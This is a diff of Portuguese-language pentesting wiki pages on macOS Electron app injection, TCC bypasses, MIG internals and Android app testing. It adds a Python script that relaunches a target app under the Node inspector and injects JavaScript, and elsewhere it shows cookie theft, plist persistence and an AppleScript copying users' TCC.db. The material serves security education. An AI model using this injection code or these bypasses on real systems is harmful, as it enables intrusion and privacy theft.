+url = "http://127.0.0.1:9229/json"
+response = requests.get(url)
+data = response.json()
+if not data:
+raise RuntimeError("No debug targets found on port 9229.")
+# data[0] should contain an object with "webSocketDebuggerUrl"
+ws_url = data[0].get("webSocketDebuggerUrl")
+if not ws_url:
+raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
+INSPECT_URL = ws_url
+
+
+async def monitor_victim():
+print("Monitoring victim process...")
+found = False
+while not found:
+sleep(1)  # Check every second
+for process in psutil.process_iter(attrs=['pid', 'name']):
+try:
+# Check if the process name contains "victim"
+if process.info['name'] and 'victim' in process.info['name']:
+found = True
+print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
+os.kill(process.info['pid'], 9)  # Force kill the process
+except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
+# Handle processes that might have terminated or are inaccessible
+pass
+os.system("open /Applications/victim.app --args --inspect-brk")
+
+async def bypass_protections():
+global CONTEXT_ID, NAME, UNIQUE_ID
+print(f"Connecting to {INSPECT_URL} ...")
+
+async with websockets.connect(INSPECT_URL) as ws:
+data = await send_cmd(ws, "Runtime.enable", get_first=True)
+CONTEXT_ID = data["params"]["context"]["id"]
+NAME = data["params"]["context"]["name"]
+UNIQUE_ID = data["params"]["context"]["uniqueId"]
+
+sleep(1)
+
+await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
+
+await send_cmd(ws, "Profiler.enable")
+
+await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
+
+await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
+
+await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
+
+code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
+await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
+print("Injected code to bypass protections")
+
+
+async def js_payloads():
+global CONT, CONTEXT_ID, NAME, UNIQUE_ID
+
+print(f"Connecting to {INSPECT_URL} ...")
+
+async with websockets.connect(INSPECT_URL) as ws:
+data = await send_cmd(ws, "Runtime.enable", get_first=True)
+CONTEXT_ID = data["params"]["context"]["id"]
+NAME = data["params"]["context"]["name"]
+UNIQUE_ID = data["params"]["context"]["uniqueId"]
+await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
+await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
+
+
+
+async def main():
+await monitor_victim()
+sleep(3)
+await get_debugger_url()
+await bypass_protections()
+
+sleep(7)
+
+await js_payloads()
+
+
+
+async def send_cmd(ws, method, get_first=False, params={}):
+"""
+Send a command to the inspector and read until we get a response with matching "id".
+"""
+global CONT
+
+CONT += 1
+
+# Send the command
+await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
+sleep(0.4)
+
+# Read messages until we get our command result
+while True:
+response = await ws.recv()
+data = json.loads(response)
+
+# Print for debugging
+print(f"[{method} / {CONT}] ->", data)
+
+if get_first:
+return data
+
+# If this message is a response to our command (by matching "id"), break
+if data.get("id") == CONT:
+return data
+
+# Otherwise it's an event or unrelated message; keep reading
+
+if __name__ == "__main__":
+asyncio.run(main())
+```
 > [!CAUTION]
-> Se o fuse **`EnableNodeCliInspectArguments`** estiver desativado, o aplicativo **ignorar parâmetros do node** (como `--inspect`) ao ser iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fuse **`RunAsNode`** estiver desativado.
+> Se o fuse **`EnableNodeCliInspectArguments`** estiver desativado, o aplicativo **ignorarão os parâmetros do node** (como `--inspect`) quando iniciado, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que também será **ignorada** se o fuse **`RunAsNode`** estiver desativado.
 >
 > No entanto, você ainda pode usar o **parâmetro electron `--remote-debugging-port=9229`**, mas o payload anterior não funcionará para executar outros processos.
 
@@ -169,11 +377,9 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
 ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
 print(ws.recv()
 ```
-Em [**este blogpost**](https://hackerone.com/reports/1274695), esse debug é abusado para fazer um chrome headless **baixar arquivos arbitrários em locais arbitrários**.
-
 ### Injeção do Plist do App
 
-Você poderia abusar dessa variável de ambiente em um plist para manter a persistência adicionando essas chaves:
+Você pode abusar dessa variável de ambiente em um plist para manter a persistência adicionando essas chaves:
 ```xml
 <dict>
 <key>ProgramArguments</key>
@@ -194,11 +400,13 @@ Você poderia abusar dessa variável de ambiente em um plist para manter a persi
 
 ## Executar Código não JS
 
-As técnicas anteriores permitirão que você execute **código JS dentro do processo do aplicativo electron**. No entanto, lembre-se de que os **processos filhos são executados sob o mesmo perfil de sandbox** que o aplicativo pai e **herdam suas permissões do TCC**.\
-Portanto, se você quiser abusar das permissões para acessar a câmera ou o microfone, por exemplo, você pode simplesmente **executar outro binário a partir do processo**.
+As técnicas anteriores permitirão que você execute **código JS dentro do processo do aplicativo electron**. No entanto, lembre-se de que os **processos filhos são executados sob o mesmo perfil de sandbox** que o aplicativo pai e **herdam suas permissões TCC**.\
+Portanto, se você quiser abusar de permissões para acessar a câmera ou o microfone, por exemplo, você pode simplesmente **executar outro binário a partir do processo**.
 
 ## Injeção Automática
 
+- [**electroniz3r**](https://github.com/r3ggi/electroniz3r)
+
 A ferramenta [**electroniz3r**](https://github.com/r3ggi/electroniz3r) pode ser facilmente usada para **encontrar aplicativos electron vulneráveis** instalados e injetar código neles. Esta ferramenta tentará usar a técnica **`--inspect`**:
 
 Você precisa compilá-la você mesmo e pode usá-la assim:
@@ -237,6 +445,11 @@ You can now kill the app using `kill -9 57739`
 The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
 Shell binding requested. Check `nc 127.0.0.1 12345`
 ```
+- [https://github.com/boku7/Loki](https://github.com/boku7/Loki)
+
+Loki foi projetado para criar backdoors em aplicações Electron substituindo os arquivos JavaScript das aplicações pelos arquivos JavaScript de Comando e Controle do Loki.
+
+
 ## Referências
 
 - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md

@@ -108,7 +108,7 @@ Neste exemplo, definimos apenas 1 função nas definições, mas se tivéssemos
 
 Se a função fosse esperada para enviar uma **reply**, a função `mig_internal kern_return_t __MIG_check__Reply__<name>` também existiria.
 
-Na verdade, é possível identificar essa relação na struct **`subsystem_to_name_map_myipc`** de **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* em outros arquivos):
+Na verdade, é possível identificar essa relação na struct **`subsystem_to_name_map_myipc`** de **`myipcServer.h`** (**`subsystem*to_name_map*\***`** em outros arquivos):
 ```c
 #ifndef subsystem_to_name_map_myipc
 #define subsystem_to_name_map_myipc \
@@ -151,7 +151,7 @@ return FALSE;
 
 Verifique as linhas destacadas anteriormente acessando a função a ser chamada pelo ID.
 
-O seguinte é o código para criar um **servidor** e **cliente** simples onde o cliente pode chamar as funções Subtract do servidor:
+O seguinte é o código para criar um **servidor** e **cliente** simples onde o cliente pode chamar as funções Subtrair do servidor:
 
 {{#tabs}}
 {{#tab name="myipc_server.c"}}
@@ -217,7 +217,7 @@ USERPREFSubtract(port, 40, 2);
 
 ### O NDR_record
 
-O NDR_record é exportado por `libsystem_kernel.dylib`, e é uma struct que permite que o MIG **transforme dados para que sejam agnósticos ao sistema** em que está sendo usado, já que o MIG foi pensado para ser utilizado entre diferentes sistemas (e não apenas na mesma máquina).
+O NDR_record é exportado por `libsystem_kernel.dylib`, e é uma struct que permite que o MIG **transforme dados para que seja agnóstico ao sistema** em que está sendo usado, já que o MIG foi pensado para ser utilizado entre diferentes sistemas (e não apenas na mesma máquina).
 
 Isso é interessante porque se `_NDR_record` for encontrado em um binário como uma dependência (`jtool2 -S <binary> | grep NDR` ou `nm`), isso significa que o binário é um cliente ou servidor MIG.
 
@@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL
 ```
 ### Assembly
 
-Foi mencionado anteriormente que a função que se encarregará de **chamar a função correta dependendo do ID da mensagem recebida** era `myipc_server`. No entanto, você geralmente não terá os símbolos do binário (sem nomes de funções), então é interessante **ver como ela se parece decompilada**, pois será sempre muito semelhante (o código desta função é independente das funções expostas):
+Foi mencionado anteriormente que a função que se encarregará de **chamar a função correta dependendo do ID da mensagem recebida** era `myipc_server`. No entanto, você geralmente não terá os símbolos do binário (sem nomes de funções), então é interessante **ver como ela aparece decompilada**, pois será sempre muito semelhante (o código desta função é independente das funções expostas):
 
 {{#tabs}}
 {{#tab name="myipc_server decompiled 1"}}
@@ -264,7 +264,7 @@ rax = *(int32_t *)(var_10 + 0x14);
 // 0x1f4 = 500 (o ID inicial)
 <strong>            rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
 </strong>            var_20 = rax;
-// Se - senão, o if retorna falso, enquanto o else chama a função correta e retorna verdadeiro
+// Se - else, o if retorna falso, enquanto o else chama a função correta e retorna verdadeiro
 <strong>            if (rax == 0x0) {
 </strong>                    *(var_18 + 0x18) = **_NDR_record;
 *(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@@ -332,7 +332,7 @@ if (CPU_FLAGS & NE) {
 r8 = 0x1;
 }
 }
-// Mesmo se - senão que na versão anterior
+// Mesmo if else que na versão anterior
 // Verifique o uso do endereço 0x100004040 (array de endereços de funções)
 <strong>                    if ((r8 & 0x1) == 0x0) {
 </strong><strong>                            *(var_18 + 0x18) = **0x100004000;
@@ -340,7 +340,7 @@ r8 = 0x1;
 var_4 = 0x0;
 }
 else {
-// Chamada para o endereço calculado onde a função deve ser
+// Chamada para o endereço calculado onde a função deve estar
 <strong>                            (var_20)(var_10, var_18);
 </strong>                            var_4 = 0x1;
 }

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md

@@ -12,7 +12,7 @@ Os usuários encontram o TCC quando os aplicativos solicitam acesso a recursos p
 
 **TCC** é gerenciado pelo **daemon** localizado em `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` e configurado em `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrando o serviço mach `com.apple.tccd.system`).
 
-Há um **tccd em modo usuário** em execução por usuário logado definido em `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando os serviços mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
+Há um **tccd em modo de usuário** em execução por usuário logado definido em `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando os serviços mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
 
 Aqui você pode ver o tccd rodando como sistema e como usuário:
 ```bash
@@ -26,7 +26,7 @@ As permissões são **herdadas do aplicativo pai** e as **permissões** são **m
 
 As permissões concedidas/negadas são então armazenadas em alguns bancos de dados TCC:
 
-- O banco de dados de sistema em **`/Library/Application Support/com.apple.TCC/TCC.db`**.
+- O banco de dados do sistema em **`/Library/Application Support/com.apple.TCC/TCC.db`**.
 - Este banco de dados é **protegido por SIP**, então apenas um bypass de SIP pode escrever nele.
 - O banco de dados TCC do usuário **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferências por usuário.
 - Este banco de dados é protegido, então apenas processos com altos privilégios TCC, como Acesso Completo ao Disco, podem escrever nele (mas não é protegido por SIP).
@@ -101,10 +101,10 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
 {{#endtab}}
 {{#endtabs}}
 
-> [!DICA]
+> [!TIP]
 > Verificando ambos os bancos de dados, você pode verificar as permissões que um aplicativo permitiu, proibiu ou não possui (ele solicitará).
 
-- O **`service`** é a representação em string da **permissão** TCC
+- O **`service`** é a representação em string da **permissão** do TCC
 - O **`client`** é o **ID do pacote** ou **caminho para o binário** com as permissões
 - O **`client_type`** indica se é um Identificador de Pacote (0) ou um caminho absoluto (1)
 
@@ -203,12 +203,12 @@ csreq -t -r /tmp/telegram_csreq.bin
 
 ### Direitos e Permissões TCC
 
-Os aplicativos **não precisam apenas** **solicitar** e ter **acesso concedido** a alguns recursos, eles também precisam **ter os direitos relevantes**.\
-Por exemplo, **Telegram** tem o direito `com.apple.security.device.camera` para solicitar **acesso à câmera**. Um **aplicativo** que **não tiver** esse **direito não poderá** acessar a câmera (e o usuário não será nem mesmo solicitado a dar as permissões).
+Os aplicativos **não apenas precisam** **solicitar** e ter **acesso concedido** a alguns recursos, eles também precisam **ter os direitos relevantes**.\
+Por exemplo, **Telegram** tem o direito `com.apple.security.device.camera` para solicitar **acesso à câmera**. Um **aplicativo** que **não** tiver esse **direito não poderá** acessar a câmera (e o usuário não será nem mesmo solicitado a dar as permissões).
 
 No entanto, para que os aplicativos **acessam** **certas pastas do usuário**, como `~/Desktop`, `~/Downloads` e `~/Documents`, eles **não precisam** ter nenhum **direito específico.** O sistema lidará com o acesso de forma transparente e **pedirá ao usuário** conforme necessário.
 
-Os aplicativos da Apple **não gerarão prompts**. Eles contêm **direitos pré-concedidos** em sua lista de **direitos**, o que significa que eles **nunca gerarão um popup**, **nem** aparecerão em nenhum dos **bancos de dados TCC.** Por exemplo:
+Os aplicativos da Apple **não gerarão prompts**. Eles contêm **direitos pré-concedidos** em sua lista de **direitos**, o que significa que **nunca gerarão um popup**, **nem** aparecerão em nenhum dos **bancos de dados TCC.** Por exemplo:
 ```bash
 codesign -dv --entitlements :- /System/Applications/Calendar.app
 [...]
@@ -219,7 +219,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
 <string>kTCCServiceAddressBook</string>
 </array>
 ```
-Isso evitará que o Calendário peça ao usuário para acessar lembretes, calendário e a lista de contatos.
+Isso evitará que o Calendar peça ao usuário para acessar lembretes, calendário e a lista de contatos.
 
 > [!TIP]
 > Além de alguma documentação oficial sobre permissões, também é possível encontrar **informações interessantes não oficiais sobre permissões em** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl)
@@ -254,7 +254,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
 >
 > Também note que se você mover um arquivo que permite o UUID de um aplicativo no seu computador para um computador diferente, porque o mesmo aplicativo terá UIDs diferentes, não concederá acesso a esse aplicativo.
 
-O atributo estendido `com.apple.macl` **não pode ser limpo** como outros atributos estendidos porque é **protegido pelo SIP**. No entanto, como [**explicado neste post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), é possível desativá-lo **zipando** o arquivo, **deletando** e **deszipando**.
+O atributo estendido `com.apple.macl` **não pode ser limpo** como outros atributos estendidos porque é **protegido pelo SIP**. No entanto, como [**explicado neste post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), é possível desativá-lo **compactando** o arquivo, **deletando**-o e **descompactando**-o.
 
 ## TCC Privesc & Bypasses
 
@@ -306,7 +306,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
 ```
 </details>
 
-### Payloads TCC
+### TCC Payloads
 
 Se você conseguiu acessar um aplicativo com algumas permissões TCC, verifique a seguinte página com payloads TCC para abusar delas:
 
@@ -314,9 +314,9 @@ Se você conseguiu acessar um aplicativo com algumas permissões TCC, verifique
 macos-tcc-payloads.md
 {{#endref}}
 
-### Eventos da Apple
+### Apple Events
 
-Saiba mais sobre Eventos da Apple em:
+Saiba mais sobre Apple Events em:
 
 {{#ref}}
 macos-apple-events.md
@@ -331,7 +331,7 @@ Esta permissão TCC específica também indica a **aplicação que pode ser gere
 Neste caso, seu aplicativo precisaria da permissão **`kTCCServiceAppleEvents`** sobre **`com.apple.Finder`**.
 
 {{#tabs}}
-{{#tab name="Roubar o TCC.db dos usuários"}}
+{{#tab name="Steal users TCC.db"}}
 ```applescript
 # This AppleScript will copy the system TCC database into /tmp
 osascript<<EOD
@@ -361,9 +361,9 @@ EOD
 Você poderia abusar disso para **escrever seu próprio banco de dados TCC de usuário**.
 
 > [!WARNING]
-> Com esta permissão, você poderá **pedir ao Finder para acessar pastas restritas do TCC** e lhe fornecer os arquivos, mas até onde sei, você **não poderá fazer o Finder executar código arbitrário** para abusar totalmente do seu acesso FDA.
+> Com esta permissão, você poderá **pedir ao Finder para acessar pastas restritas do TCC** e lhe dar os arquivos, mas até onde sei, você **não poderá fazer o Finder executar código arbitrário** para abusar totalmente do acesso FDA dele.
 >
-> Portanto, você não poderá abusar das plenas habilidades do FDA.
+> Portanto, você não poderá abusar de todas as habilidades do FDA.
 
 Este é o prompt do TCC para obter privilégios de Automação sobre o Finder:
 
@@ -502,30 +502,30 @@ Se você tem **`kTCCServiceEndpointSecurityClient`**, você tem FDA. Fim.
 
 ### Arquivo de Política do Sistema SysAdmin para FDA
 
-**`kTCCServiceSystemPolicySysAdminFiles`** permite **alterar** o atributo **`NFSHomeDirectory`** de um usuário que altera sua pasta inicial e, portanto, permite **contornar o TCC**.
+**`kTCCServiceSystemPolicySysAdminFiles`** permite **alterar** o atributo **`NFSHomeDirectory`** de um usuário que muda sua pasta inicial e, portanto, permite **burlar o TCC**.
 
 ### Banco de Dados TCC do Usuário para FDA
 
-Obtendo **permissões de escrita** sobre o banco de dados **TCC do usuário**, você \*\*não pode\*\* conceder a si mesmo permissões **`FDA`**, apenas aquele que vive no banco de dados do sistema pode conceder isso.
+Obtendo **permissões de escrita** sobre o banco de dados **TCC do usuário**, você **não pode** conceder a si mesmo permissões de **`FDA`**, apenas aquele que vive no banco de dados do sistema pode conceder isso.
 
-Mas você pode **dar** a si mesmo **`Direitos de Automação ao Finder`**, e abusar da técnica anterior para escalar para FDA\*.
+Mas você pode **dar a si mesmo** **`direitos de Automação ao Finder`**, e abusar da técnica anterior para escalar para FDA\*.
 
 ### **Permissões de FDA para TCC**
 
 **Acesso Completo ao Disco** é o nome do TCC **`kTCCServiceSystemPolicyAllFiles`**
 
-Eu não acho que isso seja um verdadeiro privesc, mas só para o caso de você achar útil: Se você controla um programa com FDA, você pode **modificar o banco de dados TCC dos usuários e dar a si mesmo qualquer acesso**. Isso pode ser útil como uma técnica de persistência caso você possa perder suas permissões de FDA.
+Eu não acho que isso seja uma verdadeira privesc, mas só para o caso de você achar útil: Se você controla um programa com FDA, você pode **modificar o banco de dados TCC dos usuários e dar a si mesmo qualquer acesso**. Isso pode ser útil como uma técnica de persistência caso você possa perder suas permissões de FDA.
 
-### **Contorno de SIP para Contorno de TCC**
+### **Bypass de SIP para Bypass de TCC**
 
-O **banco de dados TCC** do sistema é protegido por **SIP**, por isso apenas processos com as **autorizações indicadas poderão modificá-lo**. Portanto, se um atacante encontrar um **contorno de SIP** sobre um **arquivo** (conseguir modificar um arquivo restrito por SIP), ele poderá:
+O **banco de dados TCC** do sistema é protegido por **SIP**, por isso apenas processos com as **autorizações indicadas poderão modificá-lo**. Portanto, se um atacante encontrar um **bypass de SIP** sobre um **arquivo** (ser capaz de modificar um arquivo restrito por SIP), ele poderá:
 
 - **Remover a proteção** de um banco de dados TCC e dar a si mesmo todas as permissões TCC. Ele poderia abusar de qualquer um desses arquivos, por exemplo:
 - O banco de dados do sistema TCC
 - REG.db
 - MDMOverrides.plist
 
-No entanto, há outra opção para abusar desse **contorno de SIP para contornar o TCC**, o arquivo `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` é uma lista de permissões de aplicativos que requerem uma exceção de TCC. Portanto, se um atacante puder **remover a proteção SIP** deste arquivo e adicionar seu **próprio aplicativo**, o aplicativo poderá contornar o TCC.\
+No entanto, há outra opção para abusar desse **bypass de SIP para burlar o TCC**, o arquivo `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` é uma lista de permissões de aplicativos que requerem uma exceção de TCC. Portanto, se um atacante puder **remover a proteção SIP** deste arquivo e adicionar seu **próprio aplicativo**, o aplicativo poderá burlar o TCC.\
 Por exemplo, para adicionar o terminal:
 ```bash
 # Get needed info

src/mobile-pentesting/android-app-pentesting/README.md

@@ -13,7 +13,7 @@ android-applications-basics.md
 ## ADB (Android Debug Bridge)
 
 Esta é a principal ferramenta que você precisa para se conectar a um dispositivo Android (emulado ou físico).\
-**ADB** permite controlar dispositivos tanto via **USB** quanto **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos shell, **backup** de dados, **leitura** de logs, entre outras funções.
+**ADB** permite controlar dispositivos tanto via **USB** quanto **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
 
 Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
 
@@ -52,7 +52,7 @@ Por favor, [**leia aqui para encontrar informações sobre diferentes decompilad
 
 ### Procurando informações interessantes
 
-Apenas dando uma olhada nas **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chaves** **api**, **criptografia**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de admin hardcoded para o app).
+Apenas dando uma olhada nas **strings** do APK, você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chaves** **api**, **criptografia**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de admin hardcoded para o app).
 
 **Firebase**
 
@@ -60,19 +60,19 @@ Preste atenção especial às **URLs do firebase** e verifique se está mal conf
 
 ### Compreensão básica da aplicação - Manifest.xml, strings.xml
 
-A **examinação dos arquivos \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* pode revelar potenciais vulnerabilidades de segurança\*\*. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
+A **examinação dos arquivos _Manifest.xml_ e _strings.xml_ de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
 
-**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
+As **vulnerabilidades** identificadas no **Manifest.xml** incluem:
 
 - **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggable, consulte um tutorial sobre como encontrar e explorar aplicações debuggable em um dispositivo.
 - **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando a depuração USB está habilitada.
 - **Segurança de Rede**: Configurações de segurança de rede personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
 - **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise mais aprofundada durante os testes dinâmicos pode revelar como explorar esses componentes.
 - **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser analisada.
-- **Broadcast Receivers e URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
+- **Broadcast Receivers e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
 - **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões do Android desatualizadas e vulneráveis por razões de segurança.
 
-A partir do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos.
+Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos.
 
 ### Tapjacking
 
@@ -99,7 +99,7 @@ android-task-hijacking.md
 
 **Armazenamento Interno**
 
-No Android, arquivos **armazenados** em **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **app** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. No entanto, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo aquelas potencialmente maliciosas.
+No Android, arquivos **armazenados** no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **app** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. No entanto, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo aquelas potencialmente maliciosas.
 
 1. **Análise Estática:**
 - **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente analisado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
@@ -108,22 +108,22 @@ No Android, arquivos **armazenados** em **armazenamento interno** são **projeta
 
 **Armazenamento Externo**
 
-Ao lidar com arquivos em **armazenamento externo**, como cartões SD, certas precauções devem ser tomadas:
+Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas precauções devem ser tomadas:
 
 1. **Acessibilidade**:
-- Arquivos em armazenamento externo são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicação ou usuário pode acessar esses arquivos.
+- Arquivos no armazenamento externo são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicação ou usuário pode acessar esses arquivos.
 2. **Preocupações de Segurança**:
-- Dada a facilidade de acesso, é aconselhável **não armazenar informações sensíveis** em armazenamento externo.
+- Dada a facilidade de acesso, é aconselhável **não armazenar informações sensíveis** no armazenamento externo.
 - O armazenamento externo pode ser removido ou acessado por qualquer aplicação, tornando-o menos seguro.
 3. **Manipulação de Dados do Armazenamento Externo**:
 - Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados vêm de uma fonte não confiável.
-- Armazenar executáveis ou arquivos de classe em armazenamento externo para carregamento dinâmico é fortemente desencorajado.
+- Armazenar executáveis ou arquivos de classe no armazenamento externo para carregamento dinâmico é fortemente desencorajado.
 - Se sua aplicação precisar recuperar arquivos executáveis do armazenamento externo, assegure-se de que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Essa etapa é vital para manter a integridade de segurança da sua aplicação.
 
 O armazenamento externo pode ser **acessado** em `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
 
 > [!NOTE]
-> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretório que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
+> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretório que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas obtenham acesso de leitura ou gravação aos arquivos de outro app.
 
 **Dados sensíveis armazenados em texto claro**
 
@@ -149,7 +149,7 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript
 
 **Uso de Algoritmos Inseguros e/ou Obsoletos**
 
-Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a força bruta **devem** ser usados com sal.
+Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, devem ser usados hashes resistentes a **força bruta** com sal.
 
 ### Outras verificações
 
@@ -161,7 +161,7 @@ Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **veri
 
 ### Aplicação React Native
 
-Leia a página a seguir para aprender como acessar facilmente o código javascript de aplicações React:
+Leia a seguinte página para aprender como acessar facilmente o código javascript de aplicações React:
 
 {{#ref}}
 react-native-application.md
@@ -169,7 +169,7 @@ react-native-application.md
 
 ### Aplicações Xamarin
 
-Leia a página a seguir para aprender como acessar facilmente o código C# de aplicações xamarin:
+Leia a seguinte página para aprender como acessar facilmente o código C# de aplicações xamarin:
 
 {{#ref}}
 ../xamarin-apps.md
